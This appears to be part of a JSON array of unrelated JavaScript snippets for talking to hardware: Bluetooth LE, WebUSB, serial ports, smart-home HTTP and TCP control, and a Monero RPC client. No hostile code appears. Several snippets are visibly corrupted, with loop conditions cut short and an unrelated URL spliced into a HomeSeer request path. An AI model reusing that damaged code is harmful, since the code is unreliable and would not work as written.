}\\n}\",\n \"async function upload( cmd_array, fastspeed = true){\\n let fullflag = false\\n \\n if(cmd_array.length>1){\\n fullflag = Boolean(parseInt(cmd_array[1]))\\n }\\n\\n if(fastspeed){\\n await blxConnectionFast()\\n if(blxErrMsg) return\\n }\\n\\n for(;;){ // Unlock Device (locked in FAST mode)\\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\\n if (blxErrMsg) break\\n\\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\\n }\\n \\n await calcMem(true) // With adjust\\n if(blxErrMsg) break\\n\\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\\n\\n if(blxUserCB) {\\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \\n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \\n }\\n \\n await updateFile('data.edt', fullflag)\\n if(blxErrMsg) break\\n\\n await updateFile('data.edt.old', fullflag)\\n //if(blxErrMsg) break // not needed\\n\\n break \\n } // for\\n\\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\\n await blxConnectionSlow()\\n }\\n }\",\n \"function request(value) {\\n\\t// Init variables\\n\\tlet src;\\n\\tlet cmd;\\n\\n\\tswitch (value) {\\n\\t\\tcase 'motor-values' : {\\n\\t\\t\\tsrc = 'DIA';\\n\\t\\t\\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\n\\t\\tdefault : return;\\n\\t}\\n\\n\\tbus.data.send({\\n\\t\\tsrc : src,\\n\\t\\tdst : 'DME',\\n\\t\\tmsg : cmd,\\n\\t});\\n}\",\n \"async request() {\\n let options = {\\n filters: [\\n {\\n name: \\\"balenaBLE\\\"\\n }\\n ],\\n optionalServices: [0xfff0, 0xfff1]\\n };\\n if (navigator.bluetooth == undefined) {\\n alert(\\\"Sorry, Your device does not support Web BLE!\\\");\\n return;\\n }\\n this.device = await navigator.bluetooth.requestDevice(options);\\n if (!this.device) {\\n throw \\\"No device selected\\\";\\n }\\n this.device.addEventListener(\\\"gattserverdisconnected\\\", this.onDisconnected);\\n }\",\n \"async function writepumpdurationtoBLE(num){\\n console.log('Attempting bluetooth write')\\n var arrInt8 = toBytesInt16(num)\\n ble.twrite_pumpduration=performance.now()\\n try{\\n await ble.writepumpdurationcharacteristic.writeValue(arrInt8)\\n var textstr = 'wrote ble val >> ' + num + ', byte values ' + arrInt8\\n console.log(textstr)\\n ble.statustext = textstr\\n // \\n //wdm(textstr)\\n }\\n catch(error) {\\n var textstr = 'Could not write pump duration to ble device'\\n console.log(textstr)\\n ble.statustext = ble.statustext + \\\"
    \\\" + textstr\\n \\n }\\n}\",\n \"function sendSerialData() {\\n\\t\\tif (isLoaded()) {\\n\\t\\t\\t// Beggining and ending patterns that signify port has responded\\n\\t\\t\\t// chr(2) and chr(13) surround data on a Mettler Toledo Scale\\n\\t\\t\\tqz.setSerialBegin(chr(2));\\n\\t\\t\\tqz.setSerialEnd(chr(13));\\n\\t\\t\\t// Baud rate, data bits, stop bits, parity, flow control\\n\\t\\t\\t// \\\"9600\\\", \\\"7\\\", \\\"1\\\", \\\"even\\\", \\\"none\\\" = Default for Mettler Toledo Scale\\n\\t\\t\\tqz.setSerialProperties(\\\"9600\\\", \\\"7\\\", \\\"1\\\", \\\"even\\\", \\\"none\\\");\\n\\t\\t\\t// Send raw commands to the specified port.\\n\\t\\t\\t// W = weight on Mettler Toledo Scale\\n\\t\\t\\tqz.send(document.getElementById(\\\"port_name\\\").value, \\\"\\\\nW\\\\n\\\");\\n\\t\\t\\t\\n\\t\\t\\t// Automatically called when \\\"qz.send()\\\" is finished waiting for \\n\\t\\t\\t// a valid message starting with the value supplied for setSerialBegin()\\n\\t\\t\\t// and ending with with the value supplied for setSerialEnd()\\n\\t\\t\\twindow['qzSerialReturned'] = function(portName, data) {\\n\\t\\t\\t\\tif (qz.getException()) {\\n\\t\\t\\t\\t\\talert(\\\"Could not send data:\\\\n\\\\t\\\" + qz.getException().getLocalizedMessage());\\n\\t\\t\\t\\t\\tqz.clearException(); \\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tif (data == null || data == \\\"\\\") { // Test for blank data\\n\\t\\t\\t\\t\\t\\talert(\\\"No data was returned.\\\")\\n\\t\\t\\t\\t\\t} else if (data.indexOf(\\\"?\\\") !=-1) { // Test for bad data\\n\\t\\t\\t\\t\\t\\talert(\\\"Device not ready. Please wait.\\\")\\n\\t\\t\\t\\t\\t} else { // Display good data\\n\\t\\t\\t\\t\\t\\talert(\\\"Port [\\\" + portName + \\\"] returned data:\\\\n\\\\t\\\" + data);\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t};\\n\\t\\t}\\n\\t}\",\n \"function getWeMoData() {\\n var wemoHeaders = { \\n \\\"Content-Type\\\": \\\"application/json\\\", \\n \\\"SOAPACTION\\\": \\\"urn:Belkin:service:basicevent:1#GetBinaryState\\\",\\n };\\n var wemoState = '>' + \\n '' +\\n \\\"\\\" + \\n '' + \\n \\\"1\\\" + \\n \\\"\\\" + \\n \\\"\\\" + \\n \\\"\\\"\\n var wemoOptions =\\n {\\n \\\"method\\\" : \\\"post\\\",\\n \\\"headers\\\" : wemoHeaders,\\n \\\"muteHttpExceptions\\\": true,\\n \\\"payload\\\" : wemoState,\\n };\\n\\n var ddnsDevices = [ \\\"WemoXmas\\\", \\\"WemoGazebo\\\" ];\\n props.setProperty( \\\"weNum\\\", ddnsDevices.length ); \\n \\n for (var i = 0; i < ddnsDevices.length; i++) {\\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \\\"URL\\\") + \\\"/upnp/control/basicevent1\\\").getContentText();\\n Logger.log(response);\\n var wemoJson = JSON.parse(response);\\n state = wemoJSON.BinaryState;\\n props.setProperties( \\\"we\\\" + String(i), state ); \\n /* send to ATT M2X*/\\n var streams = [ \\\"we0\\\", \\\"we1\\\", \\\"we2\\\", \\\"we3\\\" ];\\n sendDataATT(ddnsDevices[i], streams);\\n logProps(streams);\\n }\\n \\n}\",\n \"function OpenAVR(device)\\n{\\n if (device.deviceDescriptor.idVendor != kAtmel ||\\n device.deviceDescriptor.idProduct != kEVK1101)\\n {\\n return; // (not our device)\\n }\\n\\n try {\\n device.open();\\n device.interfaces[0].claim();\\n // find first unused input >= 2\\n for (var i=2; ; ++i) {\\n if (i < avrs.length && avrs[i]) continue;\\n avrs[i] = device;\\n device.avrNum = i;\\n var endIn = device.interfaces[0].endpoints[0];\\n var endOut = device.interfaces[0].endpoints[1];\\n endIn.avrNum = i;\\n endOut.avrNum = i;\\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\\n endIn.timeout = 1000;\\n endOut.timeout = 1000;\\n // (must install handlers before we start polling)\\n endIn.on('data', HandleData);\\n endIn.on('error', HandleError);\\n endOut.on('error', HandleError);\\n endIn.startPoll(4, 256);\\n\\n // add member function to send command to AVR\\n device.SendCmd = SendCmd;\\n // send initial command to get AVR serial number and software version\\n device.SendCmd(\\\"a.ser;b.ver\\\\n\\\");\\n break;\\n }\\n }\\n catch (err) {\\n Log('Error opening AVR device');\\n }\\n}\",\n \"function sendCommand(device_id, command) {\\n\\tnew Ajax.Request(\\\"/controls/sendCommand\\\", { \\n\\t\\tmethod: \\\"get\\\", \\n\\t\\tparameters: { \\n\\t\\t\\t\\\"device_id\\\": device_id,\\n\\t\\t\\t\\\"command\\\": command,\\n\\t\\t}\\n\\t});\\t\\n}\",\n \"function send (token, deviceId, payload, cb) {\\n\\trequest.post({\\n\\t\\turl,\\n\\t\\tbody: Buffer.concat([new Buffer(deviceId, 'hex'), payload]),\\n\\t\\theaders: {\\n\\t\\t\\t'Content-Type': 'application/octet-stream',\\n\\t\\t\\t'Authorization': 'Token ' + token,\\n\\t\\t},\\n\\t}, (err, httpResponse, body) => {\\n\\t\\tif (err) return cb(err)\\n\\n\\t\\tif (httpResponse.statusCode !== 200) {\\n\\t\\t\\treturn cb('Error in ConCaVa (' + httpResponse.statusMessage + '): ' + body)\\n\\t\\t}\\n\\n\\t\\tcb()\\n\\t})\\n}\",\n \"function setupUSBEventHandlers(result) {\\n\\tconsole.log('App was granted the \\\"usbDevices\\\" permission.');\\n\\tchrome.usb.findDevices(device_info, function(devices) {\\n\\t\\tconsole.log('Found ' + devices.length + ' devices.');\\n\\t\\tif (!devices || !devices.length) {\\n\\t\\t\\treturn;\\n\\t\\t}\\n\\t\\tmp_device = devices[0];\\n\\t\\tchrome.usb.interruptTransfer(mp_device, in_transfer, onEvent);\\n\\n\\t\\tchangeState(state.ready);\\n\\t});\\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){console.log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"function controlHSDevice(device,action,value,cbfunc){\\n var options = {\\n hostname: hsserver,\\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/ + action + "&id=' + device + '&value=' + value,\\n port: hsport,\\n headers: {\\n 'Authorization': auth\\n }\\n };\\n\\n http.get(options, function(response) {\\n var body = '';\\n response.on('data', function(d) {body += d;});\\n response.on('end', function() {cbfunc(JSON.parse(body));});\\n\\t response.on(\\\"error\\\",function(e){log(\\\"Got error: \\\" + e.message); });\\n }); \\n}\",\n \"update() {\\n\\t\\tthis.dev.controlTransfer(0xb2, 0x06, 0, 0, 128).then((status) => {\\n\\t\\t\\tif(status.length != 128) {\\n\\t\\t\\t\\treturn this.error(`Status size error. Received: ${status.length}`);\\n\\t\\t\\t}\\n\\t\\t\\tthis.parseStatus(status);\\n\\t\\t});\\n\\t}\",\n \"function sendToSerial(data){\\n var objFromBuffer = JSON.parse(data);\\n console.log(\\\"sending to serial: \\\", objFromBuffer.data);\\n if(objFromBuffer.data !== undefined){\\n myPort.write(objFromBuffer.data); \\n }\\n}\",\n \"function respond(){\\n\\t\\t\\t\\t\\t// flush HTTP response\\n\\t\\t\\t\\t\\tvar bin = responsePacket.serialize();\\n\\t\\t\\t\\t\\t//sys.puts( utils.hex(bin) );\\n\\t\\t\\t\\t\\t//sys.puts( sys.inspect(responsePacket) );\\n\\t\\t\\t\\t\\tres.writeHead( 200, {\\n\\t\\t\\t\\t\\t\\t'Content-Type': 'application/x-amf',\\n\\t\\t\\t\\t\\t\\t'Content-Length': bin.length \\n\\t\\t\\t\\t\\t} );\\n\\t\\t\\t\\t\\tres.write( bin, \\\"binary\\\" );\\n\\t\\t\\t\\t\\tres.end();\\n\\t\\t\\t\\t}\",\n \"function WebUSBSerialCommunicator (params) {\\n var self = this;\\n\\n self.debugMode = false;\\n if(typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.debug === \\\"boolean\\\") {\\n self.debugMode = params.debug;\\n }\\n\\n if(typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.device === \\\"object\\\") {\\n if (params.device.vendorId === FTDI_USB_VENDOR_ID && params.device.productId === FTDI_USB_PRODUCT_ID) {\\n this.serial = new WebFTDIUSBSerialPort({\\n device: params.device,\\n debug: self.debugMode\\n });\\n } else if (params.device.vendorId === NATIVE_USB_VENDOR_ID && params.device.productId === NATIVE_USB_PRODUCT_ID) {\\n this.serial = new WebNativeUSBSerialPort({\\n device: params.device,\\n debug: self.debugMode\\n });\\n } else {\\n throw new Error(\\\"Device's vendor ID and product ID do not match a TappyUSB\\\");\\n }\\n } else if (typeof params !== \\\"undefined\\\" &&\\n params !== null &&\\n typeof params.serial === \\\"object\\\"){\\n // this is just for testing and should not be used\\n this.serial = params.serial;\\n } else {\\n throw new Error(\\\"Must specify a TappyUSB device\\\");\\n }\\n\\n this.isConnecting = false;\\n this.hasAttached = false;\\n this.disconnectImmediately = false;\\n this.disconnectCb = function() {};\\n\\n this.dataReceivedCallback = function(bytes) {\\n\\n };\\n this.errorCallback = function(data) {\\n\\n };\\n this.readCallback = function(buff) {\\n self.dataReceivedCallback(new Uint8Array(buff));\\n };\\n }\",\n \"writeLoginSetting(data) {\\n var arrData = [17,32,0,1,1,];\\n const data_send = this.toUTF8Array(data);\\n console.log('writeLoginSetting_1',data_send);\\n for (var i =0; i < data_send.length; i++) {\\n arrData.push(data_send[i]);\\n }\\n arrData[2] = arrData.length + 1;\\n arrData[arrData.length] = this.calCheckSum(arrData);\\n\\n console.log('writeLoginSetting_2',arrData, this.byteToHexString(arrData));\\n\\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\\n .then(() => {\\n console.log('--writeLoginSetting successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginSetting failed ',error);\\n });\\n }\",\n \"function sendToSerial(data) {\\n console.log(\\\"sending to serial: \\\" + data);\\n port.write(data);\\n}\",\n \"function HandleResponse(avrNum, responseID, msg)\\n{\\n switch (responseID) {\\n case 'a': // a = get serial number\\n var avr;\\n avrs[avrNum].avrSN = msg; // save s/n in device object\\n for (var i=0; i= 8 && msg.substr(0,1) == 'm') {\\n var n = msg.substr(1,1); // motor number\\n var a = msg.split(' ');\\n for (var i=0; i 0) continue;\\n } else {\\n // allow negative motor speed when at top limit\\n if (motorSpd[mot] < 0) continue;\\n }\\n avrs[0].SendCmd(\\\"c.m\\\" + mot + \\\" halt\\\\n\\\");\\n var which = isBottom ? \\\"lower\\\" : \\\"upper\\\";\\n Log(\\\"M\\\" + mot + \\\" halted! (hit \\\" + which + \\\" limit switch)\\\");\\n }\\n }\\n }\\n } break;\\n\\n case 'z': // z = disable watchdog timer\\n // forget about the unknown AVR\\n avrs[avrNum].interfaces[0].endpoints[0].device = avrs[avrNum];\\n avrs[avrNum].interfaces[0].endpoints[0].on('end', HandleEnd);\\n avrs[avrNum].interfaces[0].endpoints[0].stopPoll();\\n avrs[avrNum] = null;\\n break;\\n\\n default:\\n Log('AVR'+avrNum, 'Unknown response:', msg);\\n break;\\n }\\n return avrNum;\\n}\",\n \"async function blxDeviceCmd (cmd, timeout_ms = DEV_TIMEOUT_MS) { // case dep.\\n if (blxCmdBusy === true) {\\n console.warn('*** BLX BUSY (Since ' + (Date.now() - blxCmdBusy_t0).toFixed(0) + ' msec) ***')\\n return\\n }\\n\\n if (full_connected_flag !== true) {\\n if (NUS_device === undefined) {\\n blxErrMsg = 'ERROR(DeviceCmd): Not Connected!'\\n return\\n } else {\\n await blxConnectNus(0, 1) // Reconnect with SCAN\\n if (blxErrMsg) return\\n }\\n }\\n\\n blxCmdBusy = true\\n blxCmdLast = cmd\\n blxCmdBusy_t0 = Date.now()\\n await bleSendData(cmd)\\n await wait_blx(timeout_ms)\\n blxCmdBusy = false\\n }\",\n \"function send2LMviaBT(value) { //value is an arry of bytes\\r\\n //let encoder = new TextEncoder('utf-8');\\r\\n mDebugMsg1(1,'Setting Characteristic User Description...');\\r\\n gattCharacteristic.writeValue(value)\\r\\n .then(_ => {\\r\\n \\t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\\r\\n })\\r\\n .catch(error => {\\r\\n\\t\\t//todo9: userfriendly message\\r\\n \\t mDebugMsg1(1,'Argh! ' + error);\\r\\n });\\r\\n\\r\\n\\r\\n }\",\n \"async function requestBarcodePrinter() {\\n console.log(navigator)\\n navigator.usb &&\\n navigator.usb\\n .requestDevice({\\n filters: [\\n {\\n vendorId: 5380,\\n // classCode: 0xff, // vendor-specific\\n // protocolCode: 0x01,\\n },\\n ],\\n })\\n .then(selectedDevice => {\\n setBarcodePrinter(selectedDevice)\\n })\\n .catch(errorInfo => {\\n console.log(errorInfo)\\n // message.error(i18n.t`Cannot find label printer`)\\n })\\n }\",\n \"_sendData() {\\n\\n }\",\n \"function sendData() {\\n // convert the value to an ASCII string before sending it:\\n serialPort.write(brightness.toString());\\n console.log('Sending ' + brightness + ' out the serial port');\\n }\",\n \"function raspiWrite(component, value){\\t\\n\\tconst data = {\\n\\t\\tValue: value\\n\\t};\\n\\n\\tconst option = {\\n\\t\\tmethod: 'POST',\\n\\t\\tbody: JSON.stringify(data), \\n\\t\\theaders:{\\n\\t\\t\\t'Content-Type': 'application/json'\\n\\t\\t}\\n\\t}\\n\\tfetch('/raspi/' + component, option)\\n\\t.then(console.log(\\\"LED actualizado\\\"));\\n}\",\n \"function sendRequest(sensorType, isSensorOn, dataByte) {\\n var newRequest = new XMLHttpRequest();\\n newRequest.open(\\\"POST\\\", `http://${window.location.host}/pi_data`, true);\\n newRequest.setRequestHeader(\\\"Content-Type\\\", \\\"application/json\\\");\\n newRequest.send(\\n JSON.stringify({\\n sensor: sensorType,\\n isSensorOn: isSensorOn,\\n mode: dataByte,\\n })\\n );\\n}\",\n \"function trans_appbin(idx) {\\n let btdev = btdevs[idx];\\n let seq = btdev.wrtseq;\\n\\n showProgress(idx);\\n\\n if (seq >= mrbbin.byteLength / mrb_chunk_size) {\\n btdev.wrtseq = -1;\\n let buf = [0x07, 0x70, 0x61, 0x73, 0x73, 0x00];\\n btdev.bt.write(\\\"WriteApp\\\", buf);\\n console.log(\\\"Transfer completed. idx=\\\" + idx);\\n return;\\n }\\n\\n // var binbuf = [0x06, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0];\\n // binbuf[1] = Math.floor(seq / 256);\\n // binbuf[2] = seq % 256;\\n btdev.binbuf[1] = Math.floor(seq / 256);\\n btdev.binbuf[2] = seq % 256;\\n\\n for (var i=0; i {\\n let allData = \\\"\\\";\\n res.on('data', function(data) { allData += data; });\\n res.on('close', function(data) { console.log(\\\"Closed: \\\" + allData); }); \\n }).end(content);\\n}\",\n \"function sendData() {\\n // convert the value to an ASCII string before sending it:\\n myPort.write(brightness.toString());\\n console.log('Sending ' + brightness + ' out the serial port');\\n // increment brightness by 10 points. Rollover if > 255:\\n if (brightness < 255) {\\n brightness+= 10;\\n } else {\\n brightness = 0;\\n }\\n }\",\n \"function processDeviceCommand(request, response) {\\r\\n\\tvar command = request.headers[\\\"tplink-command\\\"]\\r\\n\\tvar deviceIP = request.headers[\\\"tplink-iot-ip\\\"]\\r\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command\\r\\n\\tconsole.log(respMsg)\\r\\n\\tvar action = request.headers[\\\"action\\\"]\\r\\n\\tresponse.setHeader(\\\"action\\\", action)\\r\\n\\tvar socket = net.connect(9999, deviceIP)\\r\\n\\tsocket.setKeepAlive(false)\\r\\n\\tsocket.setTimeout(6000)\\r\\n\\tsocket.on('connect', () => {\\r\\n\\t\\tsocket.write(TcpEncrypt(command))\\r\\n\\t})\\r\\n\\tsocket.on('data', (data) => {\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tdata = decrypt(data.slice(4)).toString('ascii')\\r\\n\\t\\tresponse.setHeader(\\\"cmd-response\\\", data)\\r\\n\\t\\tresponse.end()\\r\\n\\t\\tvar respMsg = \\\"Command Response sent to SmartThings\\\"\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t}).on('timeout', () => {\\r\\n\\t\\tresponse.setHeader(\\\"cmd-response\\\", \\\"TcpTimeout\\\")\\r\\n\\t\\tresponse.end()\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tvar respMsg = new Date() + \\\"\\\\n#### TCP Timeout in deviceCommand for IP: \\\" + deviceIP + \\\" ,command: \\\" + command\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t\\tlogResponse(respMsg)\\r\\n\\t}).on('error', (err) => {\\r\\n\\t\\tsocket.end()\\r\\n\\t\\tvar respMsg = new Date() + \\\"\\\\n#### Socket Error in deviceCommand for IP: \\\" + deviceIP + \\\" ,command: \\\" + command\\r\\n\\t\\tconsole.log(respMsg)\\r\\n\\t\\tlogResponse(respMsg)\\r\\n\\t})\\r\\n}\",\n \"OLDsendFirmware(data) {\\n console.log('[3] bleTransport: TODO sendFirmware(data)');\\n console.log('[3] bleTransport: data =', data);\\n return Promise.resolve();\\n /*TODO\\n this._emitInitializeEvent(ObjectType.DATA);\\n return this.getFirmwareState(data)\\n .then(state => {\\n this._debug(`Sending firmware: ${state.toString()}`);\\n const objects = state.remainingObjects;\\n if (state.hasResumablePartialObject) {\\n const object = state.remainingPartialObject;\\n return this._resumeWriteObject(object, ObjectType.DATA, state.offset, state.crc32).then(progress =>\\n this._createAndWriteObjects(objects, ObjectType.DATA, progress.offset, progress.crc32));\\n }\\n return this._createAndWriteObjects(objects, ObjectType.DATA, state.offset, state.crc32);\\n });\\n */\\n }\",\n \"sendSendSerialPortsMessageToServer() {\\n var message = {};\\n this.sendMessageToServer('sendSerialPorts', message);\\n }\",\n \"async enableSimpleHIDMode() {\\n const outputReportID = 0x01;\\n const subcommand = [0x03, 0x3f];\\n const data = [\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n 0x00,\\n ...subcommand,\\n ];\\n await this.device.sendReport(outputReportID, new Uint8Array(data));\\n }\",\n \"readFromDevice() {\\n this.device.transferIn(5, 64).then(result => {\\n const decoder = new TextDecoder();\\n this.rstring += decoder.decode(result.data);\\n // do a quick JSON smoketest (should do better with decoder/streaming)\\n const startIdx = this.rstring.indexOf('{');\\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\\n const endIdx = this.rstring.indexOf('}');\\n if(endIdx > -1) {\\n const parseStr = this.rstring.substring(0, endIdx+1);\\n this.rstring = this.rstring.substring(endIdx+1);\\n try {\\n const msg = JSON.parse(parseStr);\\n this._handleMessage(msg);\\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\\n } catch(e) {\\n console.log(\\\"NOT JSON:\\\",parseStr);\\n }\\n this.rstring = \\\"\\\";\\n }\\n this.readFromDevice();\\n })\\n .catch(error => { \\n console.log(error);\\n this.emitMessage(this.device.serialNumber, \\\"\\\");\\n this.emitDisconnected(this.device.serialNumber);\\n this.device = null;\\n this.rstring = \\\"\\\";\\n });\\n }\",\n \"function arduinoTest() {\\n return request;\\n}\",\n \"function cerial() {\\n getPortInfo()\\n .then( (portDetails) => handleSensor(portDetails))\\n .catch((error) => console.log(error));\\n // port.write('ROBOT PLEASE RESPOND\\\\n');\\n // The parser will emit any string response\\n}\",\n \"function sendData(blob) {\\n\\n\\t// sends data to flask url /upload_sound as a post with data blob - in format for wav file, hopefully. it is a promise\\n\\tfetch(\\\"/upload_sound\\\", {\\n\\tmethod: \\\"post\\\",\\n\\tbody: blob\\n\\t});\\n}\",\n \"function requestDevStatus() {\\n if(mConnectedToDev) {\\n return;\\n }\\n\\n mNbReqStatusRetry++;\\n if(mNbReqStatusRetry >= 6) {\\n logger.warn('[ctrl-test] Request device status without response. Stop!');\\n return;\\n }\\n\\n devComm.sendStatusReportReq(SelectedGW);\\n\\n setTimeout(requestDevStatus, 5*1000);\\n\\n }\",\n \"async sendBinaryRequest(path, params) {\\n if (LibraryUtils.getLogLevel() >= 2) console.log(\\\"sendBinaryRequest(\\\" + path + \\\", \\\" + JSON.stringify(params) + \\\")\\\");\\n \\n // load wasm module\\n await LibraryUtils.loadKeysModule();\\n \\n // serialize params\\n let paramsBin = MoneroUtils.jsonToBinary(params);\\n \\n try {\\n \\n // send http request\\n let resp = await HttpClient.request({\\n method: \\\"POST\\\",\\n uri: this.getUri() + '/' + path,\\n username: this.getUsername(),\\n password: this.getPassword(),\\n body: paramsBin,\\n rejectUnauthorized: this.config.rejectUnauthorized,\\n requestApi: GenUtils.isFirefox() ? \\\"xhr\\\" : \\\"fetch\\\"\\n });\\n \\n // validate response\\n MoneroRpcConnection.validateHttpResponse(resp);\\n \\n // process response\\n resp = resp.body;\\n if (!(resp instanceof Uint8Array)) {\\n console.error(\\\"resp is not uint8array\\\");\\n console.error(resp);\\n }\\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\\n return resp;\\n } catch (err) {\\n if (err instanceof MoneroRpcError) throw err;\\n else throw new MoneroRpcError(err, undefined, path, params);\\n }\\n }\",\n \"function transmitAudioHexBytes(audioBlob) {\\n\\tvar myReader = new FileReaderSync(); // FIX - Firefox does not support\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t// FileReader()\\n\\tvar arrayBuffer = myReader.readAsArrayBuffer(audioBlob);\\n\\tvar binaryHexData = buildMessage(\\\"DATA\\\", \\\"\\\");\\n\\tvar view = new DataView(arrayBuffer);\\n\\tvar viewLen = view.byteLength;\\n\\tfor (var i = 0; i < viewLen; binaryHexData += (\\\"00\\\" + view.getUint8(i++)\\n\\t\\t\\t.toString(16)).substr(-2).toUpperCase())\\n\\t\\t;\\n\\tconsole.log(\\\"socketSend@main \\\" + binaryHexData.length);\\n\\twsSnd.send(binaryHexData);\\n}\",\n \"function chromeAppMessageHandler(response) {\\n console.debug(response);\\n switch (response.responder) {\\n case \\\"list\\\":\\n const list_html = generateDropDownList(response.data);\\n document.querySelector(\\\"#device-select\\\").innerHTML = list_html;\\n document.querySelector(\\\"#device-select\\\").dispatchEvent(change_event);\\n break;\\n case \\\"connect\\\":\\n device_connected = true;\\n $(\\\"#connect\\\")\\n .removeClass(\\\"btn-outline-success\\\")\\n .addClass(\\\"btn-outline-danger\\\")\\n .text(\\\"Disconnect\\\");\\n document.querySelector(\\\"#baudrate\\\").setAttribute(\\\"disabled\\\", \\\"disabled\\\");\\n document\\n .querySelector(\\\"#device-select\\\")\\n .setAttribute(\\\"disabled\\\", \\\"disabled\\\");\\n break;\\n case \\\"disconnect\\\":\\n // TODO(kammce): Actually evaluate that the device has connected properly\\n device_connected = false;\\n table_init = false;\\n telemetry_raw = \\\"\\\\r\\\\n\\\";\\n $(\\\"#connect\\\")\\n .addClass(\\\"btn-outline-success\\\")\\n .removeClass(\\\"btn-outline-danger\\\")\\n .text(\\\"Connect\\\");\\n document.querySelector(\\\"#baudrate\\\").removeAttribute(\\\"disabled\\\");\\n document.querySelector(\\\"#device-select\\\").removeAttribute(\\\"disabled\\\");\\n $(\\\"#refresh\\\").click();\\n break;\\n case \\\"update\\\":\\n break;\\n case \\\"read\\\":\\n term.write(response.data.replace(/\\\\n/g, \\\"\\\\r\\\\n\\\"));\\n break;\\n default:\\n console.warn(\\\"Unknown response\\\");\\n break;\\n }\\n}\",\n \"_pingDevice () {\\n this._ble.read(\\n BoostBLE.service,\\n BoostBLE.characteristic,\\n false\\n );\\n }\",\n \"sendFormatDataResponsePDU() {\\n\\n const bufs = Buffer.from(this.content + '\\\\x00', 'ucs2');\\n\\n this.send(new type.Component({\\n msgType: new type.UInt16Le(data.ClipPDUMsgType.CB_FORMAT_DATA_RESPONSE),\\n msgFlags: new type.UInt16Le(0x01),\\n dataLen: new type.UInt32Le(bufs.length),\\n requestedFormatData: new type.BinaryString(bufs, { readLength: new type.CallableValue(bufs.length) })\\n }));\\n\\n }\",\n \"function HandleData(data)\\n{\\n var avrNum = this.avrNum;\\n if (avrNum == null) {\\n Log('Data from unknown device!');\\n return;\\n }\\n var str = data.toString();\\n // wait for null at end of string\\n var j = str.indexOf('\\\\0');\\n if (j > -1) str = str.substr(0, j); // remove null\\n // process each response separately\\n var lines = str.split(\\\"\\\\n\\\");\\n var id;\\n for (j=0; j= 4 && str.substr(1,1) == '.') {\\n id = str.substr(0,1);\\n str = str.substr(2);\\n }\\n if (id != 'e') {\\n if (str.substr(0,2) != 'OK') {\\n Log('AVR'+avrNum, 'Bad response:', str);\\n continue;\\n }\\n str = str.substr(3);\\n }\\n // ignore truncated responses (may happen at startup if commands\\n // were sent before AVR was fully initialized)\\n if (!id) continue;\\n avrOK[avrNum] = 1;\\n avrNum = HandleResponse(avrNum, id, str);\\n }\\n}\",\n \"function appxsendfilehandler(x) {\\r\\n if (appxIsLocalReady()) {\\r\\n switch (x.messagepart) {\\r\\n case -1:\\r\\n var msgfilenamedata = [];\\r\\n var filepath = appx_session.currsendfile.filename;\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"Saving File...\\\");\\r\\n appx_session.currsendfile.filedata = [];\\r\\n setTimeout(function setTimeout1() {\\r\\n //send client file path length\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: hton32(filepath.length),\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n //send client file path\\r\\n for (var vi = 0; vi < filepath.length; vi++) {\\r\\n msgfilenamedata.push(filepath.charCodeAt(vi));\\r\\n }\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: msgfilenamedata,\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n //send client status EOF\\r\\n var ms = {\\r\\n cmd: 'appxmessage',\\r\\n args: [3, 1],\\r\\n handler: 'appxsendfilehandler',\\r\\n data: null\\r\\n };\\r\\n appx_session.ws.send(JSON.stringify(ms));\\r\\n appxClearStatusMsgText();\\r\\n appxSetStatusText(\\\"File Download Complete...\\\");\\r\\n setTimeout(function 